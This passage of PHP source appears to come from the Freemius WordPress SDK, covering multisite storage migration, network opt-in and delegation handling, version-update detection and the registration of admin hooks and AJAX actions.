$this->_storage->last_load_timestamp < ( time() - ( WP_FS__TIME_24_HOURS_IN_SEC ) ) ) { $this->_storage->last_load_timestamp = time(); } $this->_cache = FS_Cache_Manager::get_manager( WP_FS___OPTION_PREFIX . "cache_{$module_id}" ); $this->_logger = FS_Logger::get_logger( WP_FS__SLUG . '_' . $this->get_unique_affix(), WP_FS__DEBUG_SDK, WP_FS__ECHO_DEBUG_SDK ); $this->_plugin_main_file_path = $this->_find_caller_plugin_file( $is_init, $main_file ); $this->_plugin_dir_path = plugin_dir_path( $this->_plugin_main_file_path ); $this->_plugin_basename = $this->get_plugin_basename(); $this->_free_plugin_basename = str_replace( '-premium/', '/', $this->_plugin_basename ); $this->_is_multisite_integrated = ( defined( "WP_FS__PRODUCT_{$module_id}_MULTISITE" ) && ( true === constant( "WP_FS__PRODUCT_{$module_id}_MULTISITE" ) ) ); $this->_is_network_active = ( is_multisite() && $this->_is_multisite_integrated && // Themes are always network activated, but the ACTUAL activation is per site. $this->is_plugin() && ( is_plugin_active_for_network( $this->_plugin_basename ) || // Plugin network level activation or uninstall. ( fs_is_network_admin() && is_plugin_inactive( $this->_plugin_basename ) ) ) ); $this->_storage->set_network_active( $this->_is_network_active, $this->is_delegated_connection() ); if ( ! isset( $this->_storage->is_network_activated ) ) { $this->_storage->is_network_activated = $this->_is_network_active; } if ( $this->_storage->is_network_activated != $this->_is_network_active ) { // Update last activation level. $this->_storage->is_network_activated = $this->_is_network_active; $this->maybe_adjust_storage(); } #region Migration if ( is_multisite() ) { /** * If the install_timestamp exists on the site level but doesn't exist on the * network level storage, it means that we need to process the storage with migration. * * The code in this `if` scope will only be executed once and only for the first site that will execute it because once we migrate the storage data, install_timestamp will be already set in the network level storage. * * @author Vova Feldman (@svovaf) * @since 2.0.0 */ if ( false === $this->_storage->get( 'install_timestamp', false, true ) && false !== $this->_storage->get( 'install_timestamp', false, false ) ) { // Initiate storage migration. $this->_storage->migrate_to_network(); // Migrate module cache to network level storage. $this->_cache->migrate_to_network(); } } #endregion $base_name_split = explode( '/', $this->_plugin_basename ); $this->_plugin_dir_name = $base_name_split[0]; if ( $this->_logger->is_on() ) { $this->_logger->info( 'plugin_main_file_path = ' . $this->_plugin_main_file_path ); $this->_logger->info( 'plugin_dir_path = ' . $this->_plugin_dir_path ); $this->_logger->info( 'plugin_basename = ' . $this->_plugin_basename ); $this->_logger->info( 'free_plugin_basename = ' . $this->_free_plugin_basename ); $this->_logger->info( 'plugin_dir_name = ' . $this->_plugin_dir_name ); } // Remember link between file to slug. $this->store_file_slug_map(); // Store plugin's initial install timestamp. if ( ! isset( $this->_storage->install_timestamp ) ) { $this->_storage->install_timestamp = WP_FS__SCRIPT_START_TIME; } if ( ! is_object( $this->_plugin ) ) { $this->_plugin = FS_Plugin_Manager::instance( $this->_module_id )->get(); } $this->_admin_notices = FS_Admin_Notices::instance( $this->_slug . ( $this->is_theme() ? ':theme' : '' ), /** * Ensure that the admin notice will always have a title by using the stored plugin title if available and * retrieving the title via the "get_plugin_name" method if there is no stored plugin title available. * * @author Leo Fajardo (@leorw) * @since 1.2.2 */ ( is_object( $this->_plugin ) && isset( $this->_plugin->title ) ? $this->_plugin->title : $this->get_plugin_name() ), $this->get_unique_affix() ); if ( 'true' === fs_request_get( 'fs_clear_api_cache' ) || fs_request_is_action( 'restart_freemius' ) ) { FS_Api::clear_cache(); $this->_cache->clear(); } $this->register_constructor_hooks(); /** * Starting from version 2.0.0, `FS_Site` entities no longer have the `plan` property and have `plan_id` * instead. This should be called before calling `_load_account()`, otherwise, `$this->_site` will not be * loaded in `_load_account` for versions of SDK starting from 2.0.0. * * @author Leo Fajardo (@leorw) */ self::migrate_install_plan_to_plan_id( $this->_storage ); $this->_load_account(); $this->_version_updates_handler(); } /** * @author Leo Fajardo (@leorw) * @since 2.3.0 */ private function maybe_adjust_storage() { $install_timestamp = null; $prev_is_premium = null; $options_to_update = array(); $is_network_admin = fs_is_network_admin(); $network_install_timestamp = $this->_storage->get( 'install_timestamp', null, true ); if ( ! $is_network_admin ) { if ( is_null( $network_install_timestamp ) ) { // Plugin was not network-activated before. return; } if ( is_null( $this->_storage->get( 'install_timestamp', null, false ) ) ) { // Set the `install_timestamp` only if it's not yet set. $install_timestamp = $network_install_timestamp; } $prev_is_premium = $this->_storage->get( 'prev_is_premium', null, true ); } else { $current_wp_user = self::_get_current_wp_user(); $current_fs_user = self::_get_user_by_email( $current_wp_user->user_email ); $network_user_info = array(); $skips_count = 0; $sites = self::get_sites(); $sites_count = count( $sites ); $blog_id_2_install_map = array(); $is_first_non_ignored_blog = true; foreach ( $sites as $site ) { $blog_id = self::get_site_blog_id( $site ); $blog_install_timestamp = $this->_storage->get( 'install_timestamp', null, $blog_id ); if ( is_null( $blog_install_timestamp ) ) { // Plugin has not been installed on this blog. continue; } $is_earlier_install = ( ! is_null( $install_timestamp ) && $blog_install_timestamp < $install_timestamp ); $install = $this->get_install_by_blog_id( $blog_id ); $update_network_user_info = false; if ( ! is_object( $install ) ) { if ( ! $this->_storage->get( 'is_anonymous', false, $blog_id ) ) { // The opt-in decision (whether to skip or opt in) is yet to be made. continue; } $skips_count ++; } else { $blog_id_2_install_map[ $blog_id ] = $install; if ( empty( $network_user_info ) ) { // Set the network user info for the 1st time. Choose any user information whether or not it is for the current WP user. $update_network_user_info = true; } if ( ! $update_network_user_info && is_object( $current_fs_user ) && $network_user_info['user_id'] != $current_fs_user->id && $install->user_id == $current_fs_user->id ) { // If an install that is owned by the current WP user is found, use its user information instead. $update_network_user_info = true; } if ( ! $update_network_user_info && $is_earlier_install && ( ! is_object( $current_fs_user ) || $current_fs_user->id == $install->user_id ) ) { // Update to the earliest install info if there's no install found so far that is owned by the current WP user; OR only if the found install is owned by the current WP user. $update_network_user_info = true; } } if ( $update_network_user_info ) { $network_user_info = array( 'user_id' => $install->user_id, 'blog_id' => $blog_id ); } $site_prev_is_premium = $this->_storage->get( 'prev_is_premium', null, $blog_id ); if ( $is_first_non_ignored_blog ) { $prev_is_premium = $site_prev_is_premium; if ( is_null( $network_install_timestamp ) ) { $install_timestamp = $blog_install_timestamp; } $is_first_non_ignored_blog = false; continue; } if ( ! is_null( $prev_is_premium ) && $prev_is_premium !== $site_prev_is_premium ) { // If a different `$site_prev_is_premium` value is found, do not include the option in the collection of options to update. $prev_is_premium = null; } if ( $is_earlier_install ) { // If an earlier install timestamp is found. $install_timestamp = $blog_install_timestamp; } } $installs_count = count( $blog_id_2_install_map ); if ( $sites_count === ( $installs_count + $skips_count ) ) { if ( ! empty( $network_user_info ) ) { $options_to_update['network_user_id'] = $network_user_info['user_id']; $options_to_update['network_install_blog_id'] = $network_user_info['blog_id']; foreach ( $blog_id_2_install_map as $blog_id => $install ) { if ( $install->user_id == $network_user_info['user_id'] ) { continue; } $this->_storage->store( 'is_delegated_connection', true, $blog_id ); } } if ( $sites_count === $skips_count ) { /** * Assume network-level skipping as the intended action if all actions identified were only * skipping of the connection (i.e., no opt-ins and delegated connections so far). */ $options_to_update['is_anonymous_ms'] = true; } else if ( $sites_count === $installs_count ) { /** * Assume network-level opt-in as the intended action if all actions identified were only opt-ins * (i.e., no delegation and skipping of the connections so far). */ $options_to_update['is_network_connected'] = true; } } } if ( ! is_null( $install_timestamp ) ) { $options_to_update['install_timestamp'] = $install_timestamp; } if ( ! is_null( $prev_is_premium ) ) { $options_to_update['prev_is_premium'] = $prev_is_premium; } if ( ! empty( $options_to_update ) ) { $this->adjust_storage( $options_to_update, $is_network_admin ); } } /** * @author Leo Fajardo (@leorw) * @since 2.3.0 * * @param array $options * @param bool $is_network_admin */ private function adjust_storage( $options, $is_network_admin ) { foreach ( $options as $name => $value ) { $this->_storage->store( $name, $value, $is_network_admin ? true : null ); } } /** * Checks whether this module has a settings menu. * * @author Leo Fajardo (@leorw) * @since 1.2.2 * * @return bool */ function has_settings_menu() { return ( $this->_is_network_active && fs_is_network_admin() ) ? $this->_menu->has_network_menu() : $this->_menu->has_menu(); } /** * If `true` the opt-in should be shown as a modal dialog box on the themes.php page. WordPress.org themes guidelines prohibit from redirecting the user from the themes.php page after activating a theme. * * @author Vova Feldman (@svovaf) * @since 2.4.5 * * @return bool */ function show_opt_in_on_themes_page() { if ( ! $this->is_free_wp_org_theme() ) { return false; } if ( ! $this->has_settings_menu() ) { return true; } return $this->show_settings_with_tabs(); } /** * If `true` the opt-in should be shown on the product's main setting page. * * @author Vova Feldman (@svovaf) * @since 2.4.5 * * @return bool * * @uses show_opt_in_on_themes_page(); */ function show_opt_in_on_setting_page() { return ! $this->show_opt_in_on_themes_page(); } /** * If `true` the settings should be shown using tabs. * * @author Vova Feldman (@svovaf) * @since 2.4.5 * * @return bool */ function show_settings_with_tabs() { return ( self::NAVIGATION_TABS === $this->_navigation ); } /** * Check if the context module is free wp.org theme. * * This method is helpful because: * 1. wp.org themes are limited to a single submenu item, * and sub-submenu items are most likely not allowed (never verified). * 2. wp.org themes are not allowed to redirect the user * after the theme activation, therefore, the agreed UX * is showing the opt-in as a modal dialog box after * activation (approved by @otto42, @emiluzelac, @greenshady, @grapplerulrich). * * @author Vova Feldman (@svovaf) * @since 1.2.2.7 * * @return bool */ function is_free_wp_org_theme() { return ( $this->is_theme() && $this->is_org_repo_compliant() && ! $this->is_premium() ); } /** * Checks whether this a submenu item is visible. * * @author Vova Feldman (@svovaf) * @since 1.2.2.6 * @since 1.2.2.7 Even if the menu item was specified to be hidden, when it is the context page, then show the submenu item so the user will have the right context page. * * @param string $slug * @param bool $is_tabs_visibility_check This is used to decide if the associated tab should be shown or hidden. * * @return bool */ function is_submenu_item_visible( $slug, $is_tabs_visibility_check = false ) { if ( $this->is_admin_page( $slug ) ) { /** * It is the current context page, so show the submenu item * so the user will have the right context page, even if it * was set to hidden. */ return true; } if ( ! $this->has_settings_menu() ) { // No menu settings at all. return false; } if ( ! $is_tabs_visibility_check && $this->is_org_repo_compliant() && $this->show_settings_with_tabs() ) { /** * wp.org themes are limited to a single submenu item, and * sub-submenu items are most likely not allowed (never verified). */ return false; } return $this->_menu->is_submenu_item_visible( $slug ); } /** * Check if a Freemius page should be accessible via the UI. * * @author Vova Feldman (@svovaf) * @since 1.2.2.7 * * @param string $slug * * @return bool */ function is_page_visible( $slug ) { if ( $this->is_admin_page( $slug ) ) { return true; } return $this->_menu->is_submenu_item_visible( $slug, true, true ); } /** * @author Vova Feldman (@svovaf) * @since 1.0.9 */ private function _version_updates_handler() { if ( ! isset( $this->_storage->sdk_version ) || $this->_storage->sdk_version != $this->version ) { // Freemius version upgrade mode. $this->_storage->sdk_last_version = $this->_storage->sdk_version; $this->_storage->sdk_version = $this->version; if ( empty( $this->_storage->sdk_last_version ) || version_compare( $this->_storage->sdk_last_version, $this->version, '<' ) ) { $this->_storage->sdk_upgrade_mode = true; $this->_storage->sdk_downgrade_mode = false; } else { $this->_storage->sdk_downgrade_mode = true; $this->_storage->sdk_upgrade_mode = false; } $this->do_action( 'sdk_version_update', $this->_storage->sdk_last_version, $this->version ); } $plugin_version = $this->get_plugin_version(); if ( ! isset( $this->_storage->plugin_version ) || $this->_storage->plugin_version != $plugin_version ) { // Plugin version upgrade mode. $this->_storage->plugin_last_version = $this->_storage->plugin_version; $this->_storage->plugin_version = $plugin_version; if ( empty( $this->_storage->plugin_last_version ) || version_compare( $this->_storage->plugin_last_version, $plugin_version, '<' ) ) { $this->_storage->plugin_upgrade_mode = true; $this->_storage->plugin_downgrade_mode = false; } else { $this->_storage->plugin_downgrade_mode = true; $this->_storage->plugin_upgrade_mode = false; } if ( ! empty( $this->_storage->plugin_last_version ) ) { // Different version of the plugin was installed before, therefore it's an update. $this->_storage->is_plugin_new_install = false; } $this->do_action( 'plugin_version_update', $this->_storage->plugin_last_version, $plugin_version ); } } #-------------------------------------------------------------------------------- #region Data Migration on SDK Update #-------------------------------------------------------------------------------- /** * @author Vova Feldman (@svovaf) * @since 1.1.5 * * @param string $sdk_prev_version * @param string $sdk_version */ function _sdk_version_update( $sdk_prev_version, $sdk_version ) { if ( empty( $sdk_prev_version ) ) { return; } if ( version_compare( $sdk_prev_version, '2.5.1', '<' ) && version_compare( $sdk_version, '2.5.1', '>=' ) ) { if ( $this->is_registered( true ) ) { /** * Migrate to new permissions layer. */ require_once WP_FS__DIR_INCLUDES . '/supplements/fs-migration-2.5.1.php'; $install_by_blog_id = is_multisite() ? $this->get_blog_install_map() : array( 0 => $this->_site ); fs_migrate_251( $this, $install_by_blog_id ); } } } /** * @author Leo Fajardo (@leorw) * @since 2.0.0 * * @param \FS_Storage $storage * @param bool|int|null $blog_id */ private static function migrate_install_plan_to_plan_id( FS_Storage $storage, $blog_id = null ) { if ( empty( $storage->sdk_version ) ) { // New installation of the plugin, no need to upgrade. return; } if ( ! version_compare( $storage->sdk_version, '2.0.0', '<' ) ) { // Previous version is >= 2.0.0, so no need to migrate. return; } // Alias. $module_type = $storage->get_module_type(); $module_slug = $storage->get_module_slug(); $installs = self::get_all_sites( $module_type, $blog_id ); $install = isset( $installs[ $module_slug ] ) ? $installs[ $module_slug ] : null; if ( ! is_object( $install ) ) { return; } if ( isset( $install->plan ) && is_object( $install->plan ) ) { if ( isset( $install->plan->id ) && ! empty( $install->plan->id ) ) { $install->plan_id = self::_decrypt( $install->plan->id ); } unset( $install->plan ); $installs[ $module_slug ] = clone $install; self::set_account_option_by_module( $module_type, 'sites', $installs, true, $blog_id ); } } /** * @author Vova Feldman (@svovaf) * @since 1.2.2.7 * * @param string $plugin_prev_version * @param string $plugin_version */ function _after_version_update( $plugin_prev_version, $plugin_version ) { if ( $this->is_theme() ) { // Expire the cache of the previous tabs since the theme may // have setting updates. $this->_cache->expire( 'tabs' ); $this->_cache->expire( 'tabs_stylesheets' ); } } /** * A special migration logic for the $_accounts, executed for all the plugins in the system: * - Moves some data to the network level storage. * - If the plugin's connection was skipped for all sites, set the plugin as if it was network skipped. * - If the plugin's connection was ignored for all sites, don't do anything in terms of the network connection. * - If the plugin was connected to all sites by the same super-admin, set the plugin as if was network opted-in for all sites. * - If there's at least one site that was connected by a super-admin, find the "main super-admin" (the one that installed the majority of the plugin installs) and set the plugin as if was network activated with the main super-admin, set all the sites that were skipped or opted-in with a different user to delegated mode. Then, prompt the currently logged super-admin to choose what to do with the ignored sites. * - If there are any sites in the network which the connection decision was not yet taken for, set this plugin into network activation mode so a super-admin can choose what to do with the rest of the sites. * * @author Vova Feldman (@svovaf) * @since 2.0.0 */ private static function migrate_accounts_to_network() { $sites = self::get_sites(); $sites_count = count( $sites ); $connection_status = array(); $plugin_slugs = array(); foreach ( $sites as $site ) { $blog_id = self::get_site_blog_id( $site ); self::$_accounts->migrate_to_network( $blog_id ); /** * Build a list of all Freemius powered plugins slugs. */ $id_slug_type_path_map = self::$_accounts->get_option( 'id_slug_type_path_map', array(), $blog_id ); foreach ( $id_slug_type_path_map as $module_id => $data ) { if ( WP_FS__MODULE_TYPE_PLUGIN === $data['type'] ) { $plugin_slugs[ $data['slug'] ] = true; } } $installs = self::get_account_option( 'sites', WP_FS__MODULE_TYPE_PLUGIN, $blog_id ); if ( is_array( $installs ) ) { foreach ( $installs as $slug => $install ) { if ( ! isset( $connection_status[ $slug ] ) ) { $connection_status[ $slug ] = array(); } if ( is_object( $install ) && FS_Site::is_valid_id( $install->id ) && FS_User::is_valid_id( $install->user_id ) ) { $connection_status[ $slug ][ $blog_id ] = $install->user_id; } } } } foreach ( $plugin_slugs as $slug => $true ) { if ( ! isset( $connection_status[ $slug ] ) ) { $connection_status[ $slug ] = array(); } foreach ( $sites as $site ) { $blog_id = self::get_site_blog_id( $site ); if ( isset( $connection_status[ $slug ][ $blog_id ] ) ) { continue; } $storage = FS_Storage::instance( WP_FS__MODULE_TYPE_PLUGIN, $slug ); $is_anonymous = $storage->get( 'is_anonymous', null, $blog_id ); if ( ! is_null( $is_anonymous ) ) { // Since 1.1.3 is_anonymous is an array. if ( is_array( $is_anonymous ) && isset( $is_anonymous['is'] ) ) { $is_anonymous = $is_anonymous['is']; } if ( is_bool( $is_anonymous ) && true === $is_anonymous ) { $connection_status[ $slug ][ $blog_id ] = 'skipped'; } } if ( ! isset( $connection_status[ $slug ][ $blog_id ] ) ) { $connection_status[ $slug ][ $blog_id ] = 'ignored'; } } } $super_admins = array(); foreach ( $connection_status as $slug => $blogs_status ) { $skips = 0; $ignores = 0; $connections = 0; $opted_in_users = array(); $opted_in_super_admins = array(); $storage = FS_Storage::instance( WP_FS__MODULE_TYPE_PLUGIN, $slug ); foreach ( $blogs_status as $blog_id => $status_or_user_id ) { if ( 'skipped' === $status_or_user_id ) { $skips ++; } else if ( 'ignored' === $status_or_user_id ) { $ignores ++; } else if ( FS_User::is_valid_id( $status_or_user_id ) ) { $connections ++; if ( ! isset( $opted_in_users[ $status_or_user_id ] ) ) { $opted_in_users[ $status_or_user_id ] = array(); } $opted_in_users[ $status_or_user_id ][] = $blog_id; if ( isset( $super_admins[ $status_or_user_id ] ) || self::is_super_admin( $status_or_user_id ) ) { // Cache super-admin data. $super_admins[ $status_or_user_id ] = true; // Remember opted-in super-admins for the plugin. $opted_in_super_admins[ $status_or_user_id ] = true; } } } $main_super_admin_user_id = null; $all_migrated = false; if ( $sites_count == $skips ) { // All sites were skipped -> network skip by copying the anonymous mode from any of the sites. $storage->is_anonymous_ms = $storage->is_anonymous; $all_migrated = true; } else if ( $sites_count == $ignores ) { // Don't do anything, still in activation mode. $all_migrated = true; } else if ( 0 < count( $opted_in_super_admins ) ) { // Find the super-admin with the majority of installs. $max_installs_by_super_admin = 0; foreach ( $opted_in_super_admins as $user_id => $true ) { $installs_count = count( $opted_in_users[ $user_id ] ); if ( $installs_count > $max_installs_by_super_admin ) { $max_installs_by_super_admin = $installs_count; $main_super_admin_user_id = $user_id; } } if ( $sites_count == $connections && 1 == count( $opted_in_super_admins ) ) { // Super-admin opted-in for all sites in the network. $storage->is_network_connected = true; $all_migrated = true; } // Store network user. $storage->network_user_id = $main_super_admin_user_id; $storage->network_install_blog_id = ( $sites_count == $connections ) ? // Since all sites are opted-in, associating with the main site. get_current_blog_id() : // Associating with the 1st found opted-in site. $opted_in_users[ $main_super_admin_user_id ][0]; /** * Make sure we migrate the plan ID of the network install, otherwise, if after the migration * the 1st page that will be loaded is the network level WP Admin and $storage->network_install_blog_id * is different than the main site of the network, the $this->_site will not be set since the plan_id * will be empty. */ $storage->migrate_to_network(); self::migrate_install_plan_to_plan_id( $storage, $storage->network_install_blog_id ); } else { // At least one opt-in. All the opt-in were created by a non-super-admin. if ( 0 == $ignores ) { // All sites were opted-in or skipped, all by non-super-admin. So delegate all. $storage->store( 'is_delegated_connection', true, true ); $all_migrated = true; } } if ( ! $all_migrated ) { /** * Delegate all sites that were: * 1) Opted-in by a user that is NOT the main-super-admin. * 2) Skipped and non of the sites was opted-in by a super-admin. If any site was opted-in by a super-admin, there will be a main-super-admin, and we consider the skip as if it was done by that user. */ foreach ( $blogs_status as $blog_id => $status_or_user_id ) { if ( $status_or_user_id == $main_super_admin_user_id ) { continue; } if ( FS_User::is_valid_id( $status_or_user_id ) || ( 'skipped' === $status_or_user_id && is_null( $main_super_admin_user_id ) ) ) { $storage->store( 'is_delegated_connection', true, $blog_id ); } } } if ( ( $connections + $skips > 0 ) ) { if ( $ignores > 0 ) { /** * If admin already opted-in or skipped in any of the network sites, and also * have sites which the connection decision was not yet taken, set this plugin * into network activation mode so the super-admin can choose what to do with * the rest of the sites. */ self::set_network_upgrade_mode( $storage ); } } } } /** * Set a module into network upgrade mode. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param \FS_Storage $storage * * @return bool */ private static function set_network_upgrade_mode( FS_Storage $storage ) { return $storage->is_network_activation = true; } /** * Will return true after upgrading to the SDK with the network level integration, * when the super-admin involvement is required regarding the rest of the sites. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @return bool */ function is_network_upgrade_mode() { return $this->_storage->get( 'is_network_activation' ); } /** * Clear flag after the upgrade mode completion. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @return bool True if network activation was on and now completed. */ private function network_upgrade_mode_completed() { if ( fs_is_network_admin() && $this->is_network_upgrade_mode() ) { $this->_storage->remove( 'is_network_activation' ); return true; } return false; } #endregion /** * This action is connected to the 'plugins_loaded' hook and helps to determine * if this is a new plugin installation or a plugin update. * * There are 3 different use-cases: * 1) New plugin installation right with Freemius: * 1.1 _activate_plugin_event_hook() will be executed first * 1.2 Since $this->_storage->is_plugin_new_install is not set, * and $this->_storage->plugin_last_version is not set, * $this->_storage->is_plugin_new_install will be set to TRUE. * 1.3 When _plugins_loaded() will be executed, $this->_storage->is_plugin_new_install will * be already set to TRUE. * * 2) Plugin update, didn't have Freemius before, and now have the SDK: * 2.1 _activate_plugin_event_hook() will not be executed, because * the activation hook do NOT fires on updates since WP 3.1. * 2.2 When _plugins_loaded() will be executed, $this->_storage->is_plugin_new_install will * be empty, therefore, it will be set to FALSE. * * 3) Plugin update, had Freemius in prev version as well: * 3.1 _version_updates_handler() will be executed 1st, since FS was installed * before, $this->_storage->plugin_last_version will NOT be empty, * therefore, $this->_storage->is_plugin_new_install will be set to FALSE. * 3.2 When _plugins_loaded() will be executed, $this->_storage->is_plugin_new_install is * already set, therefore, it will not be modified. * * Use-case #3 is backward compatible, #3.1 will be executed since 1.0.9. * * NOTE: * The only fallback of this mechanism is if an admin updates a plugin based on use-case #2, * and then, the next immediate PageView is the plugin's main settings page, it will not * show the opt-in right away. The reason it will happen is because Freemius execution * will be turned off till the plugin is fully loaded at least once * (till $this->_storage->was_plugin_loaded is TRUE). * * @author Vova Feldman (@svovaf) * @since 1.1.9 * */ function _plugins_loaded() { // Update flag that plugin was loaded with Freemius at least once. $this->_storage->was_plugin_loaded = true; /** * Bug fix - only set to false when it's a plugin, due to the * execution sequence of the theme hooks and our methods, if * this will be set for themes, Freemius will always assume * it's a theme update. * * @author Vova Feldman (@svovaf) * @since 1.2.2.2 */ if ( $this->is_plugin() && ! isset( $this->_storage->is_plugin_new_install ) ) { $this->_storage->is_plugin_new_install = ( ! is_plugin_active( $this->_plugin_basename ) && empty( $this->_storage->plugin_last_version ) ); } } function _run_garbage_collector() { if ( true !== fs_get_optional_constant( 'WP_FS__ENABLE_GARBAGE_COLLECTOR', true ) ) { return; } if ( ! $this->is_user_in_admin() ) { return; } require_once WP_FS__DIR_INCLUDES . '/class-fs-lock.php'; $lock = new FS_Lock( 'garbage_collection' ); if ( $lock->is_locked() ) { return; } // Create a 1-day lock. $lock->lock( WP_FS__TIME_24_HOURS_IN_SEC ); FS_Garbage_Collector::instance()->clean(); } /** * Opens the support forum subemenu item in a new browser page. * * @author Vova Feldman (@svovaf) * @since 2.1.4 */ static function _open_support_forum_in_new_page() { ?> _logger->entrance(); if ( is_admin() ) { add_action( 'admin_init', array( &$this, '_hook_action_links_and_register_account_hooks' ) ); if ( $this->is_plugin() ) { if ( self::is_plugin_install_page() && true !== fs_request_get_bool( 'fs_allow_updater_and_dialog' ) ) { /** * Unless the `fs_allow_updater_and_dialog` URL param exists and its value is `true`, make * Freemius-related updates unavailable on the "Add Plugins" admin page (/plugin-install.php) * so that they won't interfere with the .org plugins' functionalities on that page (e.g. * updating of a .org plugin). */ add_filter( 'site_transient_update_plugins', array( 'Freemius', '_remove_fs_updates_from_plugin_install_page' ), 10, 2 ); } else if ( self::is_plugins_page() || self::is_updates_page() ) { /** * On the "Plugins" and "Updates" admin pages, if there are premium or non–org-compliant plugins, modify their details dialog URLs (add a Freemius-specific param) so that the SDK can determine if the plugin information dialog should show information from Freemius. * * @author Leo Fajardo (@leorw) * @since 2.2.3 */ add_action( 'admin_footer', array( 'Freemius', '_prepend_fs_allow_updater_and_dialog_flag_url_param' ) ); } $plugin_dir = dirname( $this->_plugin_dir_path ) . '/'; /** * @since 1.2.2 * * Hook to both free and premium version activations to support * auto deactivation on the other version activation. */ register_activation_hook( $plugin_dir . $this->_free_plugin_basename, array( &$this, '_activate_plugin_event_hook' ) ); register_activation_hook( $plugin_dir . $this->premium_plugin_basename(), array( &$this, '_activate_plugin_event_hook' ) ); } else { add_action( 'after_switch_theme', array( &$this, '_activate_theme_event_hook' ), 10, 2 ); add_action( 'admin_footer', array( &$this, '_style_premium_theme' ) ); } /** * Part of the mechanism to identify new plugin install vs. plugin update. * * @author Vova Feldman (@svovaf) * @since 1.1.9 */ if ( empty( $this->_storage->was_plugin_loaded ) ) { /** * During the plugin activation (not theme), 'plugins_loaded' will be already executed * when the logic gets here since the activation logic first add the activate plugins, * then triggers 'plugins_loaded', and only then include the code of the plugin that * is activated. Which means that _plugins_loaded() will NOT be executed during the * plugin activation, and that IS intentional. * * @author Vova Feldman (@svovaf) */ if ( $this->is_plugin() && $this->is_activation_mode( false ) && 0 == did_action( 'plugins_loaded' ) ) { add_action( 'plugins_loaded', array( &$this, '_plugins_loaded' ) ); } else { // If was activated before, then it was already loaded before. $this->_plugins_loaded(); } } add_action( 'plugins_loaded', array( &$this, '_run_garbage_collector' ) ); if ( ! self::is_ajax() ) { if ( ! $this->is_addon() ) { add_action( 'init', array( &$this, '_add_default_submenu_items' ), WP_FS__LOWEST_PRIORITY ); } } if ( $this->_storage->handle_gdpr_admin_notice ) { add_action( 'init', array( &$this, '_maybe_show_gdpr_admin_notice' ) ); } add_action( 'init', array( &$this, '_maybe_add_gdpr_optin_ajax_handler') ); add_action( 'init', array( &$this, '_maybe_add_pricing_ajax_handler' ) ); } if ( $this->is_plugin() ) { if ( version_compare( $GLOBALS['wp_version'], '5.1', '<' ) ) { add_action( 'wpmu_new_blog', array( $this, '_after_new_blog_callback' ), 10, 6 ); } else { add_action( 'wp_initialize_site', array( $this, '_after_wp_initialize_site_callback' ), 11, 2 ); } register_deactivation_hook( $this->_plugin_main_file_path, array( &$this, '_deactivate_plugin_hook' ) ); } if ( is_multisite() ) { add_action( 'deactivate_blog', array( &$this, '_after_site_deactivated_callback' ) ); add_action( 'archive_blog', array( &$this, '_after_site_deactivated_callback' ) ); add_action( 'make_spam_blog', array( &$this, '_after_site_deactivated_callback' ) ); if ( version_compare( $GLOBALS['wp_version'], '5.1', '<' ) ) { add_action( 'deleted_blog', array( $this, '_after_site_deleted_callback' ), 10, 2 ); } else { add_action( 'wp_delete_site', array( $this, '_after_wpsite_deleted_callback' ) ); } add_action( 'activate_blog', array( &$this, '_after_site_reactivated_callback' ) ); add_action( 'unarchive_blog', array( &$this, '_after_site_reactivated_callback' ) ); add_action( 'make_ham_blog', array( &$this, '_after_site_reactivated_callback' ) ); } if ( $this->is_theme() && self::is_customizer() && $this->apply_filters( 'show_customizer_upsell', true ) ) { // Register customizer upsell. add_action( 'customize_register', array( &$this, '_customizer_register' ) ); } add_action( 'admin_init', array( &$this, '_redirect_on_clicked_menu_link' ), WP_FS__LOWEST_PRIORITY ); if ( $this->is_theme() && ! $this->is_migration() ) { add_action( 'admin_init', array( &$this, '_add_tracking_links' ) ); } add_action( 'admin_init', array( &$this, '_add_license_activation' ) ); add_action( 'admin_init', array( &$this, '_add_premium_version_upgrade_selection' ) ); add_action( 'admin_init', array( &$this, '_add_beta_mode_update_handler' ) ); add_action( 'admin_init', array( &$this, '_add_user_change_option' ) ); add_action( 'admin_init', array( &$this, '_add_email_address_update_option' ) ); $this->add_ajax_action( 'update_billing', array( &$this, '_update_billing_ajax_action' ) ); $this->add_ajax_action( 'start_trial', array( &$this, '_start_trial_ajax_action' ) ); $this->add_ajax_action( 'set_data_debug_mode', array( &$this, '_set_data_debug_mode' ) ); $this->add_ajax_action( 'toggle_whitelabel_mode', array( &$this, '_toggle_whitelabel_mode_ajax_handler' ) ); if ( $this->_is_network_active && fs_is_network_admin() ) { $this->add_ajax_action( 'network_activate', array( &$this, '_network_activate_ajax_action' ) ); } $this->add_ajax_action( 'install_premium_version', array( &$this, '_install_premium_version_ajax_action' ) ); $this->add_ajax_action( 'submit_affiliate_application', array( &$this, '_submit_affiliate_application' ) ); $this->add_action( 'after_plans_sync', array( &$this, '_check_for_trial_plans' ) ); $this->add_action( 'sdk_version_update', array( &$this, '_sdk_version_update' ), WP_FS__DEFAULT_PRIORITY, 2 ); $this->add_action( 'plugin_version_update', array( &$this, '_after_version_update' ), WP_FS__DEFAULT_PRIORITY, 2 ); $this->add_filter( 'after_code_type_change', array( &$this, '_after_code_type_change' ) ); add_action( 'admin_init', array( &$this, '_add_trial_notice' ) ); // @phpstan-ignore-line add_action( 'admin_init', array( &$this, '_add_affiliate_program_notice' ) ); // @phpstan-ignore-line add_action( 'admin_enqueue_scripts', array( &$this, '_enqueue_common_css' ) ); /** * Handle request to reset anonymous mode for `get_reconnect_url()` or reset the pending activation mode. * * @author Vova Feldman (@svovaf) * @since 1.2.1.5 */ if ( ( fs_request_is_action( 'reset_anonymous_mode' ) || fs_request_is_action( 'reset_pending_activation_mode' ) ) && $this->get_unique_affix() === fs_request_get_raw( 'fs_unique_affix' ) ) { add_action( 'admin_init', array( &$this, 'connect_again' ) ); } } /** * Register the required hooks right after the settings parse is completed. * * @author Vova Feldman (@svovaf) * @since 2.3.1 */ private function register_after_settings_parse_hooks() { if ( is_admin() && $this->is_theme() && $this->is_premium() && ! $this->has_active_valid_license() ) { $this->add_ajax_action( 'delete_theme_update_data', array( &$this, '_delete_theme_update_data_action' ) ); } if ( $this->show_settings_with_tabs() ) { /** * Include the required hooks to capture the theme settings' page tabs * and cache them. * * @author Vova Feldman (@svovaf) * @since 1.2.2.7 */ if ( ! $this->_cache->has_valid( 'tabs' ) ) { add_action( 'admin_footer', array( &$this, '_tabs_capture' ) ); // Add license activation AJAX callback. $this->add_ajax_action( 'store_tabs', array( &$this, '_store_tabs_ajax_action' ) ); 